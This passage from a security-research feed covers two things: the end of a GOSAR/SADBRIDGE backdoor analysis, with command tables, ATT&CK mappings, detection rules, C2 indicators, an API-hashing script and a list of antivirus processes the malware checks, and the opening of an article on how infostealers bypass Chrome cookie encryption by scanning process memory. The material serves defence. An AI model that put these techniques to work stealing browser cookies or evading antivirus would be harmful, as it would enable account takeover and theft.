<td align="left">0x409</td>
<td align="left">Runs an instance of <code>360se.exe</code></td>
</tr>
<tr>
<td align="left">0x40A</td>
<td align="left">Runs an instance of <code>360ChromeX.exe</code>.</td>
</tr>
<tr>
<td align="left">0x40B</td>
<td align="left">Runs an instance of <code>SogouExplorer.exe</code></td>
</tr>
<tr>
<td align="left">0x40C</td>
<td align="left">Close current window</td>
</tr>
<tr>
<td align="left">0x40D</td>
<td align="left">Minimizes the specified window</td>
</tr>
<tr>
<td align="left">0x40E</td>
<td align="left">Activates the window and displays it as a maximized window</td>
</tr>
<tr>
<td align="left">0x40F</td>
<td align="left">Kills the process of a window</td>
</tr>
<tr>
<td align="left">0x410</td>
<td align="left">Sets the clipboard</td>
</tr>
<tr>
<td align="left">0x411</td>
<td align="left">Clears the Clipboard</td>
</tr>
</tbody>
</table>
<h4>Screenshot</h4>
<p>The malware loads reflectively the third and last PE DLL embedded in base64 format named <code>Capture.dll</code>, it has 5 export functions:</p>
<ul>
<li>CaptureFirstScreen</li>
<li>CaptureNextScreen</li>
<li>GetBitmapInfo</li>
<li>GetBitmapInfoSize</li>
<li>SetQuality</li>
</ul>
<p>The library is first initialized by calling <code>resolvers_ResolveGetBitmapInfo</code> that reflectively loads and executes its <code>DllEntryPoint</code> which will setup the screen capture structures using common Windows APIs like <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createcompatibledc"><code>CreateCompatibleDC</code></a>, <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createcompatiblebitmap"><code>CreateCompatibleBitmap</code></a> and <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createdibsection"><code>CreateDIBSection</code></a>. The 2 export functions <code>CaptureFirstScreen</code> and <code>CaptureNextScreen</code> are used to capture a screenshot of the victim's desktop as a JPEG image.</p>
<h3>Observation</h3>
<p>Interestingly, the original .NET QUASAR server can still be used to receive beaconing from GOSAR samples, as they have retained the same communication protocol. However, operational use of it would require significant modifications to support GOSAR functionalities.</p>
<p>It is unclear whether the authors updated or extended the open source .NET QUASAR server, or developed a completely new one. It is worth mentioning that they have retained the default listening port, 1080, consistent with the original implementation.</p>
<h3>New functionality</h3>
<p>The following table provides a description of all the newly added commands:</p>
<table>
<thead>
<tr>
<th align="left">New commands</th>
<th align="left"></th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">ResolveDoRoboCopy</td>
<td align="left">Executes <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/robocopy"><code>RoboCopy</code></a> command to copy files</td>
</tr>
<tr>
<td align="left">ResolveDoCompressFiles</td>
<td align="left">Compress files in a zip format</td>
</tr>
<tr>
<td align="left">ResolveDoExtractFile</td>
<td align="left">Extract a zip file</td>
</tr>
<tr>
<td align="left">ResolveDoCopyFiles</td>
<td align="left">Copies a directory or file in the infected machine</td>
</tr>
<tr>
<td align="left">ResolveGetRunLogs</td>
<td align="left">Get available logs</td>
</tr>
<tr>
<td align="left">ResolveHVNCCommand</td>
<td align="left">Execute a HVNC command</td>
</tr>
<tr>
<td align="left">ResolveGetHVNCScreen</td>
<td align="left">Initiate HVNC</td>
</tr>
<tr>
<td align="left">ResolveStopHVNC</td>
<td align="left">Stop the HVNC session</td>
</tr>
<tr>
<td align="left">ResolveDoHVNCKeyboardEvent</td>
<td align="left">Send keyboard event to the HVNC</td>
</tr>
<tr>
<td align="left">ResolveDoHVNCMouseEvent</td>
<td align="left">Send mouse event to the HVNC</td>
</tr>
<tr>
<td align="left">ResolveDoExecutePlugin</td>
<td align="left">Execute a plugin</td>
</tr>
<tr>
<td align="left">ResolveGetProcesses</td>
<td align="left">Get a list of running processes</td>
</tr>
<tr>
<td align="left">ResolveDoProcessStart</td>
<td align="left">Start a process</td>
</tr>
<tr>
<td align="left">ResolveDoProcessEnd</td>
<td align="left">Kill a process</td>
</tr>
<tr>
<td align="left">ResolveGetBitmapInfo</td>
<td align="left">Retrieve the <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-bitmapinfo"><strong>BITMAPINFO</strong></a> structure for the current screen's display settings</td>
</tr>
<tr>
<td align="left">ResolveGetMonitors</td>
<td align="left">Enumerate victim’s display monitors with <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumdisplaymonitors"><code>EnumDisplayMonitors</code></a> API</td>
</tr>
<tr>
<td align="left">ResolveGetDesktop</td>
<td align="left">Start screen capture functionality</td>
</tr>
<tr>
<td align="left">ResolveStopGetDesktop</td>
<td align="left">Stop the screen capture functionality</td>
</tr>
<tr>
<td align="left">ResolveNewShellExecute</td>
<td align="left">Opens pipes to a spawned cmd.exe process and send commands to it</td>
</tr>
<tr>
<td align="left">ResolveGetSchTasks</td>
<td align="left">Get scheduled tasks by running the command <code>schtasks /query /fo list /v</code></td>
</tr>
<tr>
<td align="left">ResolveGetScreenshot</td>
<td align="left">Capture a screenshot of the victim’s desktop</td>
</tr>
<tr>
<td align="left">ResolveGetServices</td>
<td align="left">Get the list of services with a <strong>WMI</strong> query: <code>select * from Win32_Service</code></td>
</tr>
<tr>
<td align="left">ResolveDoServiceOperation</td>
<td align="left">Start or stop a service</td>
</tr>
<tr>
<td align="left">ResolveDoDisableMultiLogon</td>
<td align="left">Disable multiple session by user by setting the value <code>fSingleSessionPerUser</code> to 1 under the key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer</code></td>
</tr>
<tr>
<td align="left">ResolveDoRestoreNLA</td>
<td align="left">Restores the security settings for Remote Desktop Protocol (RDP), enabling <strong>Network Level Authentication</strong> (NLA) and enforcing <strong>SSL/TLS</strong> encryption for secure communication.</td>
</tr>
<tr>
<td align="left">ResolveGetRemoteClientInformation</td>
<td align="left">Get a list of all local users that are enabled, the <strong>RDP por</strong>t and <strong>LAN IP</strong> and <strong>OS specific information</strong>: <strong>DisplayVersion</strong>, <strong>SystemRoot</strong> and <strong>CurrentBuildNumber</strong> extracted from the registry key <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion</code></td>
</tr>
<tr>
<td align="left">ResolveDoInstallWrapper</td>
<td align="left">Setup a Hidden Remote Desktop Protocol (<strong>HRDP</strong>)</td>
</tr>
<tr>
<td align="left">ResolveDoUninstallWrapper</td>
<td align="left">Uninstall <strong>HRDP</strong></td>
</tr>
<tr>
<td align="left">ResolveDoRecoverPrivileges</td>
<td align="left">Restores the original <strong><code>HKEY_LOCAL_MACHINE\\SAM\\SAM</code></strong> registry before changes were made during the installation of the <strong>HRDP</strong></td>
</tr>
<tr>
<td align="left">ResolveGetRemoteSessions</td>
<td align="left">Retrieve information about the RDP sessions on the machine.</td>
</tr>
<tr>
<td align="left">ResolveDoLogoffSession</td>
<td align="left">Logoff RDP session with <a href="https://learn.microsoft.com/en-us/windows/win32/api/wtsapi32/nf-wtsapi32-wtslogoffsession">**<code>WTSLogoffSession</code></a>** API</td>
</tr>
<tr>
<td align="left">ResolveGetSystemInfo</td>
<td align="left">Get system information</td>
</tr>
<tr>
<td align="left">ResolveGetConnections</td>
<td align="left">Get all the connections in the machine</td>
</tr>
<tr>
<td align="left">ResolveDoCloseConnection</td>
<td align="left">Not implemented</td>
</tr>
</tbody>
</table>
<h2>Malware and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/004/">Process Injection: Asynchronous Procedure Call</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/003/">Hide Artifacts: Hidden Window</a></li>
<li><a href="https://attack.mitre.org/techniques/T1543/003/">Create or Modify System Process: Windows Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1571/">Non-Standard Port</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass User Account Control</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/003/">Virtualization/Sandbox Evasion: Time Based Evasion</a></li>
</ul>
<h2>Mitigating REF3864</h2>
<h3>Detection</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_amsi_bypass_powershell.toml">Potential Antimalware Scan Interface Bypass via PowerShell</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_unusual_printspooler_childprocess.toml">Unusual Print Spooler Child Process</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_from_unusual_path_cmdline.toml">Execution from Unusual Directory - Command Line</a></li>
<li><a href="https://www.elastic.co/jp/guide/en/security/current/external-ip-lookup-from-non-browser-process.html">External IP Lookup from Non-Browser Process</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_unusual_parentchild_relationship.toml">Unusual Parent-Child Relationship</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_unusual_network_connection_via_dllhost.toml">Unusual Network Connection via DllHost</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_services_registry.toml">Unusual Persistence via Services Registry</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_parent_process_pid_spoofing.toml">Parent Process PID Spoofing</a></li>
</ul>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_masquerading_process_with_unusual_args_and_netcon.toml">Network Connection via Process with Unusual Arguments</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_unusual_svchost.toml">Potential Masquerading as SVCHOST</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_netcon_dll_suspicious_callstack.toml">Network Module Loaded from Suspicious Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/95b23ae32ce1445a8a2f333dab973de313b14016/rules/windows/privilege_escalation_uac_bypass_com_interface_icmluautil.toml">UAC Bypass via ICMLuaUtil Elevated COM Interface</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_susp_imageload_timestomp.toml">Potential Image Load with a Spoofed Creation Time</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Trojan_Gosar.yar">Multi.Trojan.Gosar</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SadBridge.yar">Windows.Trojan.SadBridge</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research:</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">opera-x[.]net</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">Landing page</td>
</tr>
<tr>
<td align="left">teledown-cn[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">Landing page</td>
</tr>
<tr>
<td align="left">15af8c34e25268b79022d3434aa4b823ad9d34f3efc6a8124ecf0276700ecc39</td>
<td align="left">SHA-256</td>
<td align="left"><code>NetFxRepairTools.msi</code></td>
<td align="left">MSI</td>
</tr>
<tr>
<td align="left">accd651f58dd3f7eaaa06df051e4c09d2edac67bb046a2dcb262aa6db4291de7</td>
<td align="left">SHA-256</td>
<td align="left"><code>x64bridge.dll</code></td>
<td align="left">SADBRIDGE</td>
</tr>
<tr>
<td align="left">7964a9f1732911e9e9b9e05cd7e997b0e4e2e14709490a1b657673011bc54210</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">GOSAR</td>
</tr>
<tr>
<td align="left">ferp.googledns[.]io</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
<tr>
<td align="left">hk-dns.secssl[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
<tr>
<td align="left">hk-dns.winsiked[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
<tr>
<td align="left">hk-dns.wkossclsaleklddeff[.]is</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
<tr>
<td align="left">hk-dns.wkossclsaleklddeff[.]io</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html">https://zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html</a></li>
<li><a href="https://www.sonicwall.com/blog/project-androm-backdoor-trojan">https://www.sonicwall.com/blog/project-androm-backdoor-trojan</a></li>
<li><a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/</a></li>
<li><a href="https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512">https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512</a></li>
</ul>
<h2>Appendix</h2>
<p>Hashing algorithm (SADBRIDGE)</p>
<pre><code class="language-py">def ror(x, n, max_bits=32) -&gt; int:
    &quot;&quot;&quot;Rotate right within a max bit limit, default 32-bit.&quot;&quot;&quot;
    n %= max_bits
    return ((x &gt;&gt; n) | (x &lt;&lt; (max_bits - n))) &amp; (2**max_bits - 1)

def ror_13(data) -&gt; int:
    data = data.encode('ascii')
    hash_value = 0

    for byte in data:
        hash_value = ror(hash_value, 13)
        
        if byte &gt;= 0x61:
            byte -= 32  # Convert to uppercase
        hash_value = (hash_value + byte) &amp; 0xFFFFFFFF

    return hash_value


def generate_hash(data, dll) -&gt; int:
    dll_hash = ror_13(dll)
    result = (dll_hash + ror_13(data)) &amp; 0xFFFFFFFF
    
    return hex(result)
</code></pre>
<h3>AV products checked in GOSAR</h3>
<table>
<thead>
<tr>
<th align="center">360sd.exe</th>
<th align="center">kswebshield.exe</th>
</tr>
</thead>
<tbody>
<tr>
<td align="center">360tray.exe</td>
<td align="center">kvmonxp.exe</td>
</tr>
<tr>
<td align="center">a2guard.exe</td>
<td align="center">kxetray.exe</td>
</tr>
<tr>
<td align="center">ad-watch.exe</td>
<td align="center">mcshield.exe</td>
</tr>
<tr>
<td align="center">arcatasksservice.exe</td>
<td align="center">mcshield.exe</td>
</tr>
<tr>
<td align="center">ashdisp.exe</td>
<td align="center">miner.exe</td>
</tr>
<tr>
<td align="center">avcenter.exe</td>
<td align="center">mongoosagui.exe</td>
</tr>
<tr>
<td align="center">avg.exe</td>
<td align="center">mpmon.exe</td>
</tr>
<tr>
<td align="center">avgaurd.exe</td>
<td align="center">msmpeng.exe</td>
</tr>
<tr>
<td align="center">avgwdsvc.exe</td>
<td align="center">mssecess.exe</td>
</tr>
<tr>
<td align="center">avk.exe</td>
<td align="center">nspupsvc.exe</td>
</tr>
<tr>
<td align="center">avp.exe</td>
<td align="center">ntrtscan.exe</td>
</tr>
<tr>
<td align="center">avp.exe</td>
<td align="center">patray.exe</td>
</tr>
<tr>
<td align="center">avwatchservice.exe</td>
<td align="center">pccntmon.exe</td>
</tr>
<tr>
<td align="center">ayagent.aye</td>
<td align="center">psafesystray.exe</td>
</tr>
<tr>
<td align="center">baidusdsvc.exe</td>
<td align="center">qqpcrtp.exe</td>
</tr>
<tr>
<td align="center">bkavservice.exe</td>
<td align="center">quhlpsvc.EXE</td>
</tr>
<tr>
<td align="center">ccapp.exe</td>
<td align="center">ravmond.exe</td>
</tr>
<tr>
<td align="center">ccSetMgr.exe</td>
<td align="center">remupd.exe</td>
</tr>
<tr>
<td align="center">ccsvchst.exe</td>
<td align="center">rfwmain.exe</td>
</tr>
<tr>
<td align="center">cksoftshiedantivirus4.exe</td>
<td align="center">rtvscan.exe</td>
</tr>
<tr>
<td align="center">cleaner8.exe</td>
<td align="center">safedog.exe</td>
</tr>
<tr>
<td align="center">cmctrayicon.exe</td>
<td align="center">savprogress.exe</td>
</tr>
<tr>
<td align="center">coranticontrolcenter32.exe</td>
<td align="center">sbamsvc.exe</td>
</tr>
<tr>
<td align="center">cpf.exe</td>
<td align="center">spidernt.exe</td>
</tr>
<tr>
<td align="center">egui.exe</td>
<td align="center">spywareterminatorshield.exe</td>
</tr>
<tr>
<td align="center">f-prot.EXE</td>
<td align="center">tmbmsrv.exe</td>
</tr>
<tr>
<td align="center">f-prot.exe</td>
<td align="center">unthreat.exe</td>
</tr>
<tr>
<td align="center">f-secure.exe</td>
<td align="center">usysdiag.exe</td>
</tr>
<tr>
<td align="center">fortitray.exe</td>
<td align="center">v3svc.exe</td>
</tr>
<tr>
<td align="center">hipstray.exe</td>
<td align="center">vba32lder.exe</td>
</tr>
<tr>
<td align="center">iptray.exe</td>
<td align="center">vsmon.exe</td>
</tr>
<tr>
<td align="center">k7tsecurity.exe</td>
<td align="center">vsserv.exe</td>
</tr>
<tr>
<td align="center">knsdtray.exe</td>
<td align="center">wsctrl.exe</td>
</tr>
<tr>
<td align="center">kpfwtray.exe</td>
<td align="center">yunsuo_agent_daemon.exe</td>
</tr>
<tr>
<td align="center">ksafe.exe</td>
<td align="center">yunsuo_agent_service.exe</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/Security Labs Images 21.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Katz and Mouse Game:  MaaS Infostealers Adapt to Patched Chrome Defenses]]></title>
            <link>https://www.elastic.co/jp/security-labs/katz-and-mouse-game</link>
            <guid>katz-and-mouse-game</guid>
            <pubDate>Mon, 28 Oct 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs breaks down bypass implementations from the infostealer ecosystem’s reaction to Chrome 127's Application-Bound Encryption scheme.]]></description>
            <content:encoded><![CDATA[<h1>Introduction</h1>
<p>In July, Google <a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">announced</a> a new protection mechanism for cookies stored within Chrome on Windows, known as Application-Bound Encryption. There is no doubt this security implementation has raised the bar and directly impacted the malware ecosystem. After months with this new feature, many infostealers have written new code to bypass this protection (as the Chrome Security Team predicted) in order to stay competitive in the market and deliver capabilities that reliably retrieve cookie data from Chrome browsers.</p>
<p>Elastic Security Labs has been tracking a subset of this activity, identifying multiple techniques used by different malware families to circumvent App-Bound Encryption. While the ecosystem is still evolving in light of this pressure, our goal is to share technical details that help organizations understand and defend against these techniques. In this article, we will cover the different methods used by the following infostealer families:</p>
<ul>
<li>STEALC/VIDAR</li>
<li>METASTEALER</li>
<li>PHEMEDRONE</li>
<li>XENOSTEALER</li>
<li>LUMMA</li>
</ul>
<h1>Key takeaways</h1>
<ul>
<li>Latest versions of infostealers implement bypasses around Google’s recent cookie protection feature using Application-Bound Encryption</li>
<li>Techniques include integrating offensive security tool ChromeKatz, leveraging COM to interact with Chrome services and decrypt the app-bound encryption key, and using the remote debugging feature within Chrome</li>
<li>Defenders should actively monitor for different cookie bypass techniques against Chrome on Windows in anticipation of future mitigations and bypasses likely to emerge in the near- to mid-term</li>
<li>Elastic Security provides mitigations through memory signatures, behavioral rules, and hunting opportunities to enable faster identification and response to infostealer activity</li>
</ul>
<h1>Background</h1>
<p>Generically speaking, cookies are used by web applications to store visitor information in the browser the visitor uses to access that web app. This information helps the web app track that user, their preferences, and other information from location to location– even across devices.</p>
<p>The authentication token is one use of the client-side data storage structures that enables much of how modern web interactivity works. These tokens are stored by the browser after the user has successfully authenticated with a web application. After username and password, after multifactor authentication (MFA) via one-time passcodes or biometrics, the web application “remembers” your browser is you via the exchange of this token with each subsequent web request.</p>
<p>A malicious actor who gets access to a valid authentication token can reuse it to impersonate the user to that web service with the ability to take over accounts, steal personal or financial information, or perform other actions as that user such as transfer financial assets.</p>
<p>Cybercriminals use infostealers to steal and commoditize this type of information for their financial gain.</p>
<h2>Google Chrome Cookie Security</h2>
<p>Legacy versions of Google Chrome on Windows used the Windows native <a href="https://learn.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection">Data Protection API</a> (DPAPI) to encrypt cookies and protect them from other user contexts. This provided adequate protection against several attack scenarios, but any malicious software running in the targeted user’s context could decrypt these cookies using the DPAPI methods directly. Unfortunately, this context is exactly the niche that infostealers often find themselves in after social engineering for initial access. The DPAPI scheme is now <a href="https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107">well known to attackers</a> with several attack vectors; from local decryption using the API, to stealing the masterkey and decrypting remotely, to abusing the domain-wide backup DPAPI key in an enterprise environment.</p>
<p>With the release of Chrome 127 in July 2024, Google <a href="https://developer.chrome.com/release-notes/127">implemented</a> Application-Bound Encryption of browser data. This mechanism directly addressed many common DPAPI attacks against Windows Chrome browser data–including cookies. It does this by storing the data in encrypted datafiles, and using a service running as SYSTEM to verify any decryption attempts are coming from the Chrome process before returning the key to that process for decryption of the stored data.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image5.png" alt="Chrome 127 Application-Bound Encryption Scheme. Source: https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html" /></p>
<p>While it is our view that this encryption scheme is not a panacea to protect all browser data (as the Chrome Security Team acknowledges in their release) we do feel it has been successful in driving malware authors to TTPs that are more overtly malicious, and easier for defenders to identify and respond to.</p>
<h1>Stealer Bypass Techniques, Summarized</h1>
<p>The following sections will describe specific infostealer techniques used to bypass Google’s App-Bound Encryption feature as observed by Elastic. Although this isn’t an exhaustive compilation of bypasses, and development of these families is ongoing, they represent an interesting dynamic within the infostealer space showing how malware developers responded to Google’s recently updated security control. The techniques observed by our team include:</p>
<ul>
<li>Remote debugging via Chrome’s DevTools Protocol</li>
<li>Reading process memory of Chrome network service process (ChromeKatz and <code>ReadProcessMemory</code> (RPM))</li>
<li>Elevating to <code>SYSTEM</code> then decrypting <code>app_bound_encryption_key</code> with the <code>DecryptData</code> method of <code>GoogleChromeElevationService</code> through COM</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image30.png" alt="Timeline of events" /></p>
<h2>STEALC/VIDAR</h2>
<p>Our team observed new code introduced to STEALC/VIDAR related to the cookie bypass technique around September 20th. These were atypical samples that stood out from previous versions and were implemented as embedded 64-bit PE files along with conditional checks. Encrypted values in the SQLite databases where Chrome stores its data are now prefixed with v20, indicating that the values are now encrypted using application-bound encryption.</p>
<blockquote>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc">STEALC</a> was introduced in 2023 and was developed with “heavy inspiration” from other more established stealers such as <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon">RACOON</a> and <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar">VIDAR</a>. STEALC and VIDAR have continued concurrent development, and in the case of App-Bound Encryption bypasses have settled on the same implementation.</p>
</blockquote>
<p>During the extraction of encrypted data from the databases the malware checks for this prefix. If it begins with <code>v20</code>, a child process is spawned using the embedded PE file in the <code>.data</code> section of the binary. This program is responsible for extracting unencrypted cookie values residing in one of Chrome's child processes.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image2.png" alt="Embedded PE file" /></p>
<p>This embedded binary creates a hidden desktop via <code>OpenDesktopA</code> / <code>CreateDesktopA</code> then uses <code>CreateToolhelp32Snapshot</code> to scan and terminate all <code>chrome.exe</code> processes. A new <code>chrome.exe</code> process is then started with the new desktop object. Based on the installed version of Chrome, the malware selects a signature pattern for the Chromium feature <a href="https://www.chromium.org/developers/design-documents/network-stack/cookiemonster/">CookieMonster</a>, an internal component used to manage cookies.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image38.png" alt="Signature pattern for CookieMonster" /></p>
<p>We used the <a href="https://github.com/Meckazin/ChromeKatz/blob/9152004174e9a0b2d092c70ebc75efbf80fa1098/CookieKatz/Main.cpp#L123">signature patterns</a> to pivot to existing code developed for an offensive security tool called <a href="https://github.com/Meckazin/ChromeKatz">ChromeKatz</a>. At this time, the patterns have been removed from the ChromeKatz repository and replaced with a new technique. Based on our analysis, the malware author appears to have reimplemented ChromeKatz within STEALC in order to bypass the app-bound encryption protection feature.</p>
<p>Once the malware identifies a matching signature, it enumerates Chrome’s child processes to check for the presence of the <code>--utility-sub-type=network.mojom.NetworkService</code> command-line flag. This flag indicates that the process is the network service responsible for handling all internet communication. It becomes a prime target as it holds the sensitive data the attacker seeks, as described in MDSec’s <a href="https://www.mdsec.co.uk/2021/01/breaking-the-browser-a-tale-of-ipc-credentials-and-backdoors/">post</a>. It then returns a handle for that specific child process.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image37.png" alt="Enumerating for Chrome’s network service" /></p>
<p>Next, it enumerates each module in the network service child process to find and retrieve the base address and size of <code>chrome.dll</code> loaded into memory. STEALC uses <a href="https://github.com/Meckazin/ChromeKatz/blob/767047dcf8f53c70be5e3e0859c5eee3f129d758/CredentialKatz/Memory.cpp#L280"><code>CredentialKatz::FindDllPattern</code></a> and <a href="https://github.com/Meckazin/ChromeKatz/blob/767047dcf8f53c70be5e3e0859c5eee3f129d758/CookieKatz/Memory.cpp#L435"><code>CookieKatz::FindPattern</code></a> to locate the CookieMonster instances. There are 2 calls to <code>CredentialKatz::FindDllPattern</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image17.png" alt="Calls to CredentialKatz::FindDllPattern" /></p>
<p>In the first call to <code>CredentialKatz::FindDllPattern</code>, it tries to locate one of the signature patterns (depending on the victim’s Chrome version) in <code>chrome.dll</code>. Once found, STEALC now has a reference pointer to that memory location where the byte sequence begins which is the function <code>net::CookieMonster::~CookieMonster</code>, destructor of the <code>CookieMonster</code> class.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image14.png" alt="Byte sequence for net::CookieMonster::~CookieMonster found in chrome.dll" /></p>
<p>The second call to <code>CredentialKatz::FindDllPattern</code> passes in the function address for <code>net::CookieMonster::~CookieMonster(void)</code> as an argument for the byte sequence search, resulting in STEALC having a pointer to <code>CookieMonster</code>’s Virtual Function Pointer struct.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image19.png" alt="CookieMonster’s vtable in chrome.dll" /></p>
<p>The following method used by STEALC is again, identical to ChromeKatz, where it locates <code>CookieMonster</code> instances by scanning memory chunks in the <code>chrome.dll</code> module for pointers referencing the <code>CookieMonster</code> vtable. Since the vtable is a constant across all objects of a given class, any <code>CookieMonster</code> object will have the same vtable pointer. When a match is identified, STEALC treats the memory location as a <code>CookieMonster</code> instance and stores its address in an array.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image16.png" alt="Using CookieKatz::FindPattern to locate CookieMonster instances" /></p>
<p>For each identified <code>CookieMonster</code> instance, STEALC accesses the internal <code>CookieMap</code> structure located at an offset of <code>+0x30</code>, and which is a binary tree. Each node within this tree contains pointers to <code>CanonicalCookieChrome</code> structures. <code>CanonicalCookieChrome</code> structures hold unencrypted cookie data, making it accessible for extraction. STEALC then initiates a tree traversal by passing the first node into a dedicated traversal function.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image20.png" alt="Initiating CookieMap tree traversal for each CookieMonster instance found" /></p>
<p>For each node, it calls <code>ReadProcessMemory</code> to access the <code>CanonicalCookieChrome</code> structure from the target process’s memory, then further processing it in <code>jy::GenerateExfilString</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/katz-and-mouse-game/image31.png" alt="CookieMap traversal subroutine" /></p>
